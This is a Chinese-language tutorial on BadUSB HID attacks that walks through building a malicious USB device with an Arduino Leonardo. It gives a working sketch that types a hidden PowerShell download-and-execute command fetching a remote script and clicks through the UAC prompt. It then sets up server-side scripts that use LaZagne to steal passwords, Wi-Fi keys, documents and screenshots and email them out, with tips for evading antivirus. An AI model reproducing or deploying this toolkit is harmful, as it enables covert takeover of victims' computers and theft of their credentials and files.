BadUSB原理浅析及制作指南
[Misc]
何为BadUsb
简介
通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰、控制主机或者窃取信息等目的。
威胁
BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。
原理
硬件知识基础
HID攻击
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
Arduino
Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。
攻击流程
Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
制作工具
硬件
1286芯片或者2303芯片的U盘
这里我们使用的是: BS Micro pro micro leonardo Arduino 开发板
淘宝链接: https://item.taobao.com/item.htm?spm=a230r.1.14.74.LGB3UB&id=44364709185&ns=1&abbucket=12#detail
软件
1 Arduino IDE
kali自带,win下载链接: http://downloads.arduino.cc/arduino-1.6.4-windows.zip
下载为zip,不需安装,直接解压就能用。
2 Teensyduino
http://www.pjrc.com/teensy/td_123/teensyduino.exe
下载后双击运行,安装的时候会有一步安装设备驱动,按提示安装之。 注意,安装时要求手动选择Arduino IDE的安装位置,此时选择之前步骤zip的解压目录即可。
安装成功后运行arduino.exe
会发现这里有了许多可选项:
我们根据之前案例中使用的硬件,按图中所示,选择Arduino Leonardo这一项。
制作过程
1 硬件连接IDE
- 硬件插入电脑
- 打开Arduino IDE
- 工具->版->选择“Arduino Leonardo”
- 工具->Port->选择“COM* (Arduino Leonardo)”
- 现在可以看到IDE右下角出现“Arduino Leonardo on COM*”
2 代码写入硬件
- 复制如下代码到IDE中(代码在后面)
- 将代码中的
http://www.cdxy.me/main.ps1
改成自己的域名 - 点击IDE左上角 对号图标 验证,然后点击 箭头图标 上传代码到硬件,没报错就OK了
- 将硬件重新插入电脑,此时会看到电脑自动执行代码的全部动画过程
void setup() {
delay(5000);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_ESC);
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1500);
}
void loop() {}
代码解释:
插入后等待五秒, 按下ctrl+esc,(作用:在任何界面打开开始菜单) 等待半秒, 模拟输入一个字符串,并回车执行(作用:在开始菜单执行命令) 等待2.5秒,更改焦点,模拟键盘输入y(作用:绕过uac,得到系统许可)
3 准备服务器端代码
到此为止,硬件的设置已经完成,当硬件插入之后,系统会模拟键盘输入执行:
powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1'
也就是从域名下面的main.ps1文件下载代码并执行。
以下代码可在我的github下载: https://github.com/Xyntax/BadUSB-code
- 下载所需代码,
- 修改main.ps1的2754行 为上面的域名,
- 修改main.ps1的2903-2919行 为发送邮件配置 发送邮箱尽量不要用163 入口文件为GetPass.ps1,
- 修改GetPass.ps1中的前两行,域名,Getpass.rar实际上是lazagne,用rar下载尽量避免出发安全软件,这个不放心可以百度下载。command.rar实为bat 因为 lazagne注入lsass时会被安全软件拦截,所以用bat避免注入。修改GetPass.ps1中的邮箱配置,同main.ps1中的就行
- 将这四个文件上传到公网服务器
4 测试
- 插入硬件,观察电脑是否自己打开了开始菜单并执行命令,当你看到powershell的黑色框一闪而过时,就可以拔下硬件了。
- 此时电脑后台下载并运行代码,过几分钟邮箱就会收到邮件,一共两封。
- 打开两个附件是这个样子的
GetPass结果:
屏幕截图、wif密码、文档窃取、本地dump结果:
扩展
理解原理之后,通过修改服务器端代码,利用方式可有很多,如反弹shell或者开3389等,代码这里就不提供了,您比我懂,欢迎交流。
参考及感谢
感谢HackPanda大牛的技术支持和答疑解惑!